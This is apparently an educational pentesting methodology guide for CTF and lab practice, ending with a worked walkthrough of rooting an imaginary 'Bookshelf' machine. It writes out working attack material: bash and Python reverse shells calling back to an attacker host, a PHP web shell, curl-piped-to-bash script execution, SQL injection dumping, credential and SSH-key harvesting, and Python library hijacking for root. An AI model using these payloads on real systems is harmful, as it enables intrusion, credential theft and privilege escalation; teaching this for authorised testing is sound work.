kavklaw@llm $ cat methodology.md
โฑ๏ธ 35 min read ยท The complete step-by-step methodology from "you have an IP" to "you have root"
This guide references a lot of tools. Here's everything you'll want installed before you start. All of these come pre-installed on Kali Linux or Parrot OS, which is the easiest way to get going.
apt install seclists), rockyou.txt๐ Not on Kali? Most tools can be installed individually viaapt,pip, or from GitHub. But for beginners, just grab Kali in a VM โ fighting tool installation when you should be learning methodology is a waste of time.
Before we dive into commands, understand this: pentesting is a methodology, not a tool list. The difference between someone who pops boxes and someone who stares at a terminal for hours isn't talent, it's process.
Here's the core principle: enumerate, enumerate, enumerate. At every step, you're asking "what do I know?" and "what haven't I checked?" The answer is almost always more enumeration. 80% of a pentest is enumeration. Exploitation is often the easy part. Finding the vulnerability is the hard part.
The methodology flows like this:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ THE PENTESTING CYCLE โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ 1. RECON โ What's out there? โ
โ 2. SCAN โ What ports/services? โ
โ 3. ENUMERATE โ What details about services? โ
โ 4. IDENTIFY โ What vulnerabilities exist? โ
โ 5. EXPLOIT โ Get initial access โ
โ 6. POST-EXPLOIT โ Stabilize, loot, enumerate โ
โ 7. PRIV ESC โ Get root/SYSTEM โ
โ 8. REPORT โ Document everything โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Note: Steps 3-4 loop. You'll go back to enumeration MANY times.
Before touching the target, set up your workspace. This takes 30 seconds and saves you hours of disorganization.
# Create working directory
mkdir -p target/{nmap,loot,exploit,www}
cd target
# Set target IP as variable (use throughout)
export TARGET=10.10.10.100
# Verify connectivity
ping -c 1 $TARGET
# Add hostname to /etc/hosts (if given, or discovered later)
echo "10.10.10.100 target.htb" | sudo tee -a /etc/hosts
# Start a notes file
echo "# Target: $TARGET" > notes.md
echo "## Findings" >> notes.md
๐ก Pro Tip: Keep notes as you go. Write down every finding, every interesting service, every potential vulnerability. Your future self will thank you when you're stuck and need to retrace your steps.
Grab everything you can before you start actively scanning. In CTFs this is quick; on real engagements you'll spend serious time here.
Passive recon means gathering information without directly contacting the target. You use public data sources (OSINT, or Open Source Intelligence) to learn about the target's infrastructure, employees, and technology before sending a single packet.
# OSINT โ doesn't touch the target
# Whois โ looks up domain registration info (owner, registrar, name servers)
whois target.com
# DNS (Domain Name System) records โ the internet's "phone book" that
# translates domain names to IP addresses and other info
# Query specific record types (dig ANY is unreliable โ many servers restrict it)
dig +short A target.com # A = IPv4 address
dig +short AAAA target.com # AAAA = IPv6 address
dig +short mx target.com # MX = Mail Exchange (email servers)
dig +short ns target.com # NS = Name Server (DNS servers for this domain)
dig +short txt target.com # TXT = text records (often SPF/DKIM email configs)
# Subdomain enumeration
amass enum -passive -d target.com
subfinder -d target.com
# Check: crt.sh, SecurityTrails, Shodan
# Google dorking โ using advanced Google search operators to find exposed files
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com ext:sql | ext:bak | ext:conf
# Shodan
shodan host 10.10.10.100
# Or: shodan.io web interface
# TheHarvester (emails, subdomains, IPs)
theHarvester -d target.com -b all
# In CTFs, you usually skip passive recon and go straight to scanning.
# But still check:
# 1. Does the target respond to ping?
ping -c 3 $TARGET
# 2. Any hostname given? Add it to /etc/hosts
# Many CTF boxes use virtual hosting โ the site only works with the right hostname
# 3. Quick web check
curl -s http://$TARGET | head -20
curl -sI http://$TARGET
Port scanning discovers which services are running on the target. A "port" is like a door on the machine. Port 80 is typically a web server, port 22 is SSH, port 445 is file sharing, etc. Use a tiered approach: fast scan first to find open ports, then detailed scan on only those ports.
TIERED SCANNING APPROACH
========================
Tier 1: Fast SYN scan โโโถ Find ALL open ports (30 seconds)
โ nmap -p- --min-rate 5000
โผ
Tier 2: Detailed scan โโโถ Version + scripts on open ports only
โ nmap -p PORTS -sC -sV
โผ
Tier 3: UDP scan โโโโโโโโโถ Top 50 UDP ports (background)
โ nmap -sU --top-ports 50
โผ
Tier 4: Targeted scripts โถ Service-specific NSE scripts
nmap --script=http-enum,smb-vuln*
See the full Nmap Guide for deep details.
This scans all 65,535 TCP ports quickly. The -p- means "all ports," --min-rate 5000 sends at least 5000 packets per second (fast for CTFs and labs, but can miss ports on noisy or lossy networks โ Nmap's docs caution that aggressive rates increase packet drops), -Pn skips the ping check (some targets block ping), and -oA saves results in all formats.
# Find ALL open TCP ports quickly
sudo nmap -p- --min-rate 5000 -Pn -T4 $TARGET -oA nmap/allports
# Extract the ports
PORTS=$(grep -oP '\d+/open' nmap/allports.gnmap | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
echo "Open ports: $PORTS"
Now run a deeper scan on just the open ports you found. The -sC flag runs default scripts (checks for common vulnerabilities and info), and -sV detects the exact version of each service. This tells you what software is running so you can search for known exploits.
# Deep scan only open ports
sudo nmap -p $PORTS -sC -sV -Pn -oA nmap/detailed $TARGET
# Read the results carefully!
cat nmap/detailed.nmap
UDP scanning is significantly slower and less reliable than TCP โ there's no handshake, so Nmap has to wait for timeouts. That's why we limit to top 50 ports and run it in the background.
# Don't forget UDP! Run in background (slower than TCP โ no handshake to confirm open/closed)
sudo nmap -sU --top-ports 50 -Pn -T4 $TARGET -oA nmap/udp &
# Key UDP services to find: DNS(53), SNMP(161, network management), TFTP(69, file transfer), NTP(123, time sync)
# Based on what you found, run specific scripts
# Web:
sudo nmap -p 80,443 --script=http-enum,http-title,http-headers $TARGET
# SMB:
sudo nmap -p 445 --script=smb-enum-shares,smb-enum-users,smb-vuln* $TARGET
# Vuln scan:
sudo nmap -p $PORTS --script=vuln -oA nmap/vulns $TARGET
nmap -A -p- command?nmap -A -p- tries to do everything at once (all ports + version detection + scripts + OS detection) and can take very long. Tiered scanning: (1) Fast SYN scan of all ports with --min-rate 5000, (2) Detailed -sC -sV scan of only the open ports found, (3) UDP scan in background. This gives you results to work with immediately while deeper scans run in parallel.$ nmap -p- --min-rate 5000 -Pn 10.10.10.200
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
$ curl http://10.10.10.200/ | head -5
<html><title>BookShelf App</title>
<!-- Powered by PHP 7.4 -->
โ ๏ธ Common Mistake: Running nmap -A -p- as a single command. It tries to do everything at once and takes forever. Tiered scanning is 10x faster and gives you results to work with immediately while deeper scans run.
This is where you spend 80% of your time. For each open port, enumerate the service deeply. See the Enumeration Checklist for service-specific commands.
For every open port, ask these questions:
Web is almost always the path in. When you see a web port, this is your checklist:
# 1. Browse to it manually โ what do you see?
firefox http://$TARGET &
# 2. Technology identification
whatweb http://$TARGET
# Check response headers for: Server, X-Powered-By, cookies
# 3. Directory/file brute force
gobuster dir -u http://$TARGET -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50 -x php,html,txt,bak
# Try different wordlists if first doesn't hit
# 4. Subdomain/vhost (virtual host) enumeration โ finds different websites
# hosted on the same IP, distinguished by the domain name in the request
gobuster vhost -u http://target.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
# 5. Check for known CMS
# WordPress: wpscan --url http://$TARGET --enumerate p,u
# Joomla: joomscan -u http://$TARGET
# Drupal: droopescan scan drupal -u http://$TARGET
# 6. Look for interesting files
curl http://$TARGET/robots.txt
curl http://$TARGET/.git/HEAD
curl http://$TARGET/.env
curl http://$TARGET/backup.zip
# 7. Test for web vulnerabilities
# See: /cheatsheets/web-hacking-checklist.html
# 8. Proxy through Burp Suite for deeper testing
# See: /guides/burp-suite.html
SMB (Server Message Block) is Windows' file sharing protocol. A "null session" means connecting without any username or password. Many misconfigured SMB servers allow this and leak user lists, share names, and sometimes even file contents.
# Null session enumeration
smbclient -L //$TARGET -N
smbmap -H $TARGET
enum4linux -a $TARGET
crackmapexec smb $TARGET -u '' -p '' --shares
# Check for vulnerabilities
nmap --script=smb-vuln* -p 445 $TARGET
For every other service, refer to the Enumeration Checklist and Common Ports cheat sheets. General approach:
searchsploit SERVICE VERSIONNow that you know what's running, find the weakness.
A CVE (Common Vulnerabilities and Exposures) is a publicly known security vulnerability with a unique ID number. Once you know what software version the target runs, you search for CVEs that affect it. searchsploit searches a local copy of Exploit-DB (maintained by OffSec), which has thousands of ready-to-use exploit scripts. Keep it updated with searchsploit -u.
# Search for known exploits by service version
searchsploit apache 2.4.49
searchsploit openssh 7.2
searchsploit wordpress 5.0
# Google: "SERVICE VERSION CVE"
# Google: "SERVICE VERSION exploit"
# Google: "SERVICE VERSION RCE"
# ExploitDB: https://www.exploit-db.com/
# NVD: https://nvd.nist.gov/
# CVE Details: https://www.cvedetails.com/
# ALWAYS try default creds before brute forcing
# Common defaults:
# admin:admin, admin:password, root:root, root:toor
# guest:guest, test:test, user:user
# tomcat:s3cret, admin:s3cret
# Default credential databases:
# https://default-password.info/
# https://cirt.net/passwords
# https://www.fortypoundhead.com/showcontent.asp?artid=23983
# Service-specific:
# Tomcat: /manager/html โ tomcat:tomcat or tomcat:s3cret
# Jenkins: /script โ no auth? Groovy console = RCE
# phpMyAdmin: root:(empty)
# Grafana: admin:admin
# pgAdmin: [email protected]:admin
Things to look for:
.git, .env, .bak files accessible$ gobuster dir -u http://10.10.10.200 -w raft-medium-directories.txt -x php,txt,bak
/index.php (Status: 200)
/search.php (Status: 200)
/admin (Status: 301)
/config.php.bak (Status: 200)
$ curl http://10.10.10.200/search.php?q=test'
Error: You have an error in your SQL syntax near '''
You've found a vulnerability. Time to get a shell.
# SearchSploit (local ExploitDB mirror)
searchsploit apache 2.4.49
searchsploit -m 50383 # Copy exploit to current directory
searchsploit -x 50383 # View exploit code
# Metasploit
msfconsole
search apache 2.4.49
use exploit/multi/http/apache_normalize_path_rce
set RHOSTS $TARGET
set LHOST tun0
run
# GitHub
# Google: "CVE-2021-41773 github"
# Many PoCs on GitHub โ read the code before running!
Always understand what an exploit does before running it. Read the code. Understand the vulnerability. For CTFs and learning, try manual exploitation first. For speed on real engagements, Metasploit is fine.
Common manual exploitation patterns:
; id, | id, `id`, $(id){{7*7}} โ RCE (Remote Code Execution) payload# 1. Start your listener FIRST โ waits for the target to connect back to you
# rlwrap adds arrow-key support, nc (netcat) listens on port 4444
# -l = listen, -v = verbose, -n = no DNS, -p = port
rlwrap nc -lvnp 4444
# 2. Execute reverse shell on target
# See: /cheatsheets/reverse-shells.html
# Most common:
bash -i >& /dev/tcp/LHOST/4444 0>&1
# Python:
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("LHOST",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'
# 3. Or upload a web shell
# <?php system($_GET['cmd']); ?>
curl "http://$TARGET/shell.php?cmd=id"
You have a shell. Now what?
A raw reverse shell is fragile: one wrong keystroke can kill it. Upgrading to a full interactive terminal takes 10 seconds and is always your first step after getting a shell.
# Raw reverse shells are fragile. Upgrade immediately.
# Python PTY (pseudo-terminal) upgrade โ gives you a proper interactive shell
# with tab-completion, arrow keys, and Ctrl+C support
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z (background the shell)
stty raw -echo; fg
# Back in shell:
export TERM=xterm-256color
export SHELL=/bin/bash
stty rows 40 cols 160
# Alternative: script
script -qc /bin/bash /dev/null
# Then same Ctrl+Z / stty raw -echo; fg process
# Best option: pwncat-cs (auto-upgrades + persistence)
pwncat-cs -lp 4444
# Who am I?
id
whoami
hostname
# Where am I?
pwd
ls -la
# What system is this?
uname -a
cat /etc/os-release
cat /etc/issue
# Who else is here?
w
who
last
# What's running?
ps aux
ss -tlnp
netstat -tlnp
# What's on the network?
ip a
ip route
cat /etc/hosts
cat /etc/resolv.conf
arp -a
# Grab the user flag (CTF)
find / -name "user.txt" 2>/dev/null
cat /home/*/user.txt
# Gather credentials
cat /etc/passwd
cat /etc/shadow # If readable โ crack hashes
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null
find / -name ".env" 2>/dev/null
find / -name "config.php" -exec cat {} \; 2>/dev/null
# Look for SSH keys
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
# Database credentials
cat /var/www/html/wp-config.php # WordPress
cat /var/www/html/.env # Laravel/Node
grep -r "DB_PASS\|DB_PASSWORD\|password" /var/www/ 2>/dev/null
# Bash history
cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null
You're a regular user. Time to become root. See the full guides: Linux PrivEsc | Windows PrivEsc.
# Automated enumeration (run these FIRST)
# LinPEAS โ the gold standard
curl http://LHOST/linpeas.sh | bash
# Or transfer and run:
wget http://LHOST/linpeas.sh -O /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh
# LinEnum
./linenum.sh
# Manual checks:
# 1. Sudo permissions
sudo -l
# Can you run anything as root? Check GTFOBins!
# https://gtfobins.github.io/
# 2. SUID binaries โ files with the "Set User ID" bit, which run as
# their owner (often root) regardless of who executes them
find / -perm -4000 -type f 2>/dev/null
# Look for unusual SUID binaries โ check GTFOBins
# 3. Capabilities โ Linux fine-grained permissions that give programs
# specific root powers without full root access
getcap -r / 2>/dev/null
# python3 with cap_setuid (ability to change user ID) โ instant root
# 4. Cron jobs
cat /etc/crontab
ls -la /etc/cron*
crontab -l
# Writable cron script โ inject reverse shell
# 5. Writable files/directories
find / -writable -type f 2>/dev/null | grep -v proc
# Writable /etc/passwd โ add root user
# 6. Internal services
ss -tlnp
# Service running as root on localhost? Tunnel and exploit
# 7. Kernel exploits (last resort)
uname -r
searchsploit linux kernel [version]
# DirtyPipe, DirtyCow, etc.
# See: /cheatsheets/linux-privesc-checklist.html
# Automated enumeration
# WinPEAS
.\winPEASx64.exe
# PowerUp
powershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"
# Manual checks:
# 1. Current privileges โ Windows assigns special privileges to users/services
whoami /priv
# SeImpersonatePrivilege โ can impersonate other users โ Potato attack โ SYSTEM
# SeBackupPrivilege โ can read any file โ dump SAM/SYSTEM (password hashes)
# 2. Running services
sc queryex type= service state= all
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows"
# Unquoted service paths? Writable service binary?
# 3. Scheduled tasks
schtasks /query /fo LIST /v
# 4. AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both set to 1? โ msfvenom MSI payload โ SYSTEM
# 5. Stored credentials
cmdkey /list
# If present: runas /savecred /user:Administrator cmd
# 6. Registry autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# See: /cheatsheets/windows-privesc-checklist.html
Even in CTFs, documenting your process makes you better. In real engagements, the report IS the deliverable.
What to document:
Tools for note-taking: CherryTree (structured, import nmap), Obsidian (markdown, linkable), Notion, or plain text files (simplest, grep-friendly).
Screenshot everything โ commands + output. Save exploit code, payloads, and modified scripts. For CTF writeups, see our writeups for examples.
sudo -l shows you can run /usr/bin/python3 as root without a password. What's the fastest path to root?sudo python3 -c 'import os; os.system("/bin/bash")'. This gives you an immediate root bash shell. Check GTFOBins (gtfobins.github.io) for sudo/SUID exploitation techniques for any binary โ it has entries for hundreds of commands.Let's walk through a complete example โ an imaginary easy box called "Bookshelf" โ from start to root. This demonstrates every phase of the methodology.
Target: 10.10.10.200 (Bookshelf). You have a VPN connection and nothing else.
# Setup
mkdir -p bookshelf/{nmap,loot,exploit,www}
cd bookshelf
export TARGET=10.10.10.200
# Fast port scan
$ sudo nmap -p- --min-rate 5000 -Pn -T4 $TARGET -oA nmap/allports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
# Detailed scan
$ sudo nmap -p 22,80,3306 -sC -sV -Pn -oA nmap/detailed $TARGET
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp open http Apache httpd 2.4.41
|_http-title: BookShelf โ Online Library
3306/tcp open mysql MySQL 5.7.38
|_mysql-info: MySQL 5.7.38
# MySQL โ try default creds
$ mysql -h $TARGET -u root
ERROR 1045: Access denied for user 'root'@'10.10.14.5' (using password: NO)
# Locked down. Move on.
# Web โ browse to http://10.10.10.200
# It's a book catalog application. PHP-based (from headers).
# Has a search function: /search.php?q=
# Directory brute force
$ gobuster dir -u http://$TARGET -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,bak -t 50
/index.php (Status: 200)
/search.php (Status: 200)
/admin (Status: 301) โ /admin/
/admin/login.php (Status: 200)
/config.php.bak (Status: 200) โ INTERESTING!
# Grab the backup config
$ curl http://$TARGET/config.php.bak
<?php
$db_host = "localhost";
$db_user = "bookshelf_user";
$db_pass = "Sh3lf_Db_2023!";
$db_name = "bookshelf";
?>
# DATABASE CREDENTIALS!
# Test the search function for SQL injection
$ curl "http://$TARGET/search.php?q=test'"
# Error: You have an error in your SQL syntax near '''
# SQL INJECTION CONFIRMED!
# We also have DB credentials from config.php.bak
# Two attack vectors: SQLi through the web app, or direct DB access
# Use SQLMap to exploit the injection
$ sqlmap -u "http://$TARGET/search.php?q=test" --batch --dbs
available databases:
[*] bookshelf
[*] information_schema
$ sqlmap -u "http://$TARGET/search.php?q=test" --batch -D bookshelf --tables
+----------+
| books |
| users |
+----------+
$ sqlmap -u "http://$TARGET/search.php?q=test" --batch -D bookshelf -T users --dump
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 2 | librarian| a029d0df84eb5549c641e04a9ef389e5 |
+----+----------+----------------------------------+
# Crack the hashes (MD5)
$ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
5f4dcc3b5aa765d61d8327deb882cf99:password
a029d0df84eb5549c641e04a9ef389e5:books2023
# Login to admin panel: admin:password
# Admin panel has a "Book Cover Upload" feature
# Try uploading a PHP shell
# Upload shell.php with content: <?php system($_GET['cmd']); ?>
# The app renames it but keeps .php extension!
# Access: http://10.10.10.200/uploads/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Get reverse shell
# Start listener: rlwrap nc -lvnp 4444
$ curl "http://$TARGET/uploads/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261'"
# Stabilize the shell
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
$ stty raw -echo; fg
$ export TERM=xterm-256color
# Situational awareness
www-data@bookshelf:/var/www/html/uploads$ id
uid=33(www-data)
www-data@bookshelf:~$ cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
librarian:x:1000:1000::/home/librarian:/bin/bash
# Check home directories
www-data@bookshelf:~$ ls /home/librarian/
user.txt .bash_history .ssh/
# Can we read user.txt?
www-data@bookshelf:~$ cat /home/librarian/user.txt
cat: permission denied
# Try the DB password for the librarian user
www-data@bookshelf:~$ su librarian
Password: books2023
librarian@bookshelf:~$ cat user.txt
HTB{b00k_w0rm_g0t_sh3ll3d} โ USER FLAG!
# Check sudo permissions
librarian@bookshelf:~$ sudo -l
User librarian may run the following commands on bookshelf:
(root) NOPASSWD: /usr/bin/python3 /opt/backup.py
# Read the backup script
librarian@bookshelf:~$ cat /opt/backup.py
#!/usr/bin/python3
import zipfile
import os
source_dir = "/var/www/html"
backup_name = "/tmp/backup.zip"
with zipfile.ZipFile(backup_name, 'w') as zf:
for root, dirs, files in os.walk(source_dir):
for file in files:
zf.write(os.path.join(root, file))
print(f"Backup created: {backup_name}")
# The script imports zipfile โ can we hijack it?
librarian@bookshelf:~$ python3 -c "import zipfile; print(zipfile.__file__)"
/usr/lib/python3.8/zipfile.py
# Check Python's import path โ Python checks script directory FIRST
librarian@bookshelf:~$ python3 -c "import sys; print('\n'.join(sys.path))"
/opt <-- script directory (backup.py lives here) โ checked FIRST
/usr/lib/python38.zip
/usr/lib/python3.8
/usr/lib/python3.8/lib-dynload
# Check if we can write to the Python path
librarian@bookshelf:~$ ls -la /usr/lib/python3.8/zipfile.py
-rw-r--r-- 1 root root ...
# Not writable.
# But /opt/ IS in sys.path AND writable โ Python will import from here first!
librarian@bookshelf:~$ ls -la /opt/
drwxrwxr-x 2 root librarian 4096 ... .
-rwxr-xr-x 1 root root 320 ... backup.py
# /opt/ is writable by librarian group!
# Python library hijacking: create zipfile.py in /opt/
librarian@bookshelf:~$ cat > /opt/zipfile.py << 'EOF'
import os
os.system("/bin/bash")
EOF
# Run the sudo command
librarian@bookshelf:~$ sudo /usr/bin/python3 /opt/backup.py
root@bookshelf:/opt# id
uid=0(root) gid=0(root) groups=0(root)
root@bookshelf:/opt# cat /root/root.txt
HTB{l1br4ry_pwn3d_by_pyth0n} โ ROOT FLAG!
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ ATTACK PATH SUMMARY โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ 1. Nmap โ found HTTP (80), SSH (22), MySQL (3306) โ
โ 2. Gobuster โ found /config.php.bak (DB credentials) โ
โ 3. SQL injection in search.php โ dumped user table โ
โ 4. Cracked MD5 hashes โ admin:password โ
โ 5. Admin panel file upload โ PHP webshell โ
โ 6. Webshell โ reverse shell as www-data โ
โ 7. Password reuse: books2023 โ su librarian โ
โ 8. sudo python3 + writable /opt/ โ Python lib hijack โ
โ 9. Root! โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Reference these throughout your pentesting: